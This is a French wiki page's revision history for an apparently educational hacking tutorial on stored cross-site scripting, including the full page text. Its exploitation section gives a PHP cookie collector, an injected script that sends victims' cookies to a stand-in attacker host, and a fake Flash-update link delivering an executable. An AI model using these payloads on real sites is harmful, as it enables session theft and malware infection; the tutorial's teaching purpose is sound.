Web:Cross-Site Scripting - XSS - Historique des versions

Neib le 9 janvier 2024 à 01:20

2024-01-09T01:20:56Z

← Version précédente		Version du 9 janvier 2024 à 03:20
Ligne 53 :		Ligne 53 :
	*https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection		*https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
	*https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet		*https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

			[[Category:Hacking]][[Category:Web]]

Neib : Neib a déplacé la page Cross-Site Scripting - XSS vers Web:Cross-Site Scripting - XSS sans laisser de redirection

2024-01-06T13:45:29Z

Neib a déplacé la page Cross-Site Scripting - XSS vers Web:Cross-Site Scripting - XSS sans laisser de redirection

← Version précédente	Version du 6 janvier 2024 à 15:45
(Aucune différence)

OldNeib : Neib a déplacé la page Cross-Site Scipting - XSS vers Cross-Site Scripting - XSS

2023-12-02T15:36:06Z

Neib a déplacé la page Cross-Site Scipting - XSS vers Cross-Site Scripting - XSS

← Version précédente	Version du 2 décembre 2023 à 17:36
(Aucune différence)

OldNeib : /* Cheat Sheet */

2023-12-02T14:10:54Z

Cheat Sheet

← Version précédente		Version du 2 décembre 2023 à 16:10
Ligne 51 :		Ligne 51 :

	= Cheat Sheet =		= Cheat Sheet =
			*https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
	*https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet		*https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

OldNeib : /* Exemple de récupération de cookies */

2023-12-02T14:09:13Z

Exemple de récupération de cookies

← Version précédente		Version du 2 décembre 2023 à 16:09
Ligne 33 :		Ligne 33 :
	*La victime doit maintenant accéder à notre page:		*La victime doit maintenant accéder à notre page:

	" /><script>document.location="http://attaquant.com/~~get~~.php?v=" + document.cookie;</script><p class="		" /><script>document.location="http://attaquant.com/getCookie.php?v=" + document.cookie;</script><p class="

OldNeib : Page créée avec « = Présentation = Cette vulnérabilité est possible lorsqu'une valeur qui peut être contrôlée par l'utilisateur est injectée dans une page web sans suffisamment de contrôles, et que cette valeur peut être du code HTML ou JavaScript valide, qui sera alors interprété par le navigateur. Imaginons un site où il serait possible d'uploader une image. Nous envoyons donc une image avec comme nom: lapin.jpg et comme description: Oh! Trop mignon!.... »

2023-12-02T14:08:42Z

Page créée avec « = Présentation = Cette vulnérabilité est possible lorsqu'une valeur qui peut être contrôlée par l'utilisateur est injectée dans une page web sans suffisamment de contrôles, et que cette valeur peut être du code HTML ou JavaScript valide, qui sera alors interprété par le navigateur. Imaginons un site où il serait possible d'uploader une image. Nous envoyons donc une image avec comme nom: <b>lapin.jpg</b> et comme description: <b>Oh! Trop mignon!</b>.... »

Nouvelle page

= Présentation =
Cette vulnérabilité est possible lorsqu'une valeur qui peut être contrôlée par l'utilisateur est injectée dans une page web sans suffisamment de contrôles, et que cette valeur peut être du code HTML ou JavaScript valide, qui sera alors interprété par le navigateur.

Imaginons un site où il serait possible d'uploader une image. Nous envoyons donc une image avec comme nom: <b>lapin.jpg</b> et comme description: <b>Oh! Trop mignon!</b>.

La page retournée nous renverrait alors l'image sous la forme:

<img src="./lapin.jpg" title="Oh! Trop mignon!" />

Un cas classique d'exploitation serait de remplacer la description: <b>Oh! Trop mignon!</b> par: <b>" /><script>alert('Hacked!');</script><p class="</b>.

Le site nous retournerait alors:

<img src="./lapin.jpg" title="" /><script>alert('Hacked!');</script><p class="" />

Ce code HTML étant valide, notre JavaScript sera exécuté au sein du navigateur.

En se débrouillant pour faire afficher cette image à un autre utilisateur, le code s'exécutera cette fois ci dans son navigateur. Il est ainsi possible de récupérer certaines informations sensibles ou alors de faire exécuter quelque action depuis le navigateur de notre cible.

Ici, comme le code injecté est enregistré par le serveur via notre image, quiconque se rendra sur la page où notre image est enregistré se verra exécuter notre script.

= Éxploitation =
== Exemple de récupération de cookies ==
*Préparation du fichier <b>getCookie.php</b>. Celui-ci devra être enregistré de façon `pouvoir être consulté depuis le navigateur de notre cible.

<?php
$cookie = $_GET['v'] . "\n";
file_put_contents("cookies.txt", $cookie, FILE_APPEND | LOCK_EX);
?>

*La victime doit maintenant accéder à notre page:

" /><script>document.location="http://attaquant.com/get.php?v=" + document.cookie;</script><p class="

La page contenant l'image deviendra alors:

<img src="./lapin.jpg" title="" /><script>document.location="http://control.domain/get.php?v=" + document.cookie;</script><p class="" />

Une fois arrivé sur la page piégée, l'utilisateur sera redirigé vers notre page avec ses cookies en paramètre. Cookies qui seront enregistrés dans un fichier nommé <b>cookie.txt</b>

== Social Engineering ==
Un exemple d'attaque à adapter selon son imagination:
*Création d'un exécutable type [[Reverse Shell]] ou autre.
*Simulation d'un plugin manquant pour lire ou exécuter un contenu sur le navigateur de notre victime. Ex: "Pour continuer, Flash Player doit être mis à jour." + image utilisée lorsqu'un plugin est réellement manquant.
*Téléchargement de notre faux plugin par la victime, puis exécution.

" /> <a href="http://control.domain/flash_update.exe"><img src="http://control.domain/flash.png" /></a> <p alt="

= Cheat Sheet =
*https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

Web:Cross-Site Scripting - XSS - Historique des versions

Neib le 9 janvier 2024 à 01:20

Neib : Neib a déplacé la page Cross-Site Scripting - XSS vers Web:Cross-Site Scripting - XSS sans laisser de redirection

OldNeib : Neib a déplacé la page Cross-Site Scipting - XSS vers Cross-Site Scripting - XSS

OldNeib : /* Cheat Sheet */

OldNeib : /* Exemple de récupération de cookies */

Neib : Neib a déplacé la page Cross-Site Scripting - XSS vers Web:Cross-Site Scripting - XSS sans laisser de redirection

OldNeib : Neib a déplacé la page Cross-Site Scipting - XSS vers Cross-Site Scripting - XSS

OldNeib : /* Cheat Sheet */

OldNeib : /* Exemple de récupération de cookies */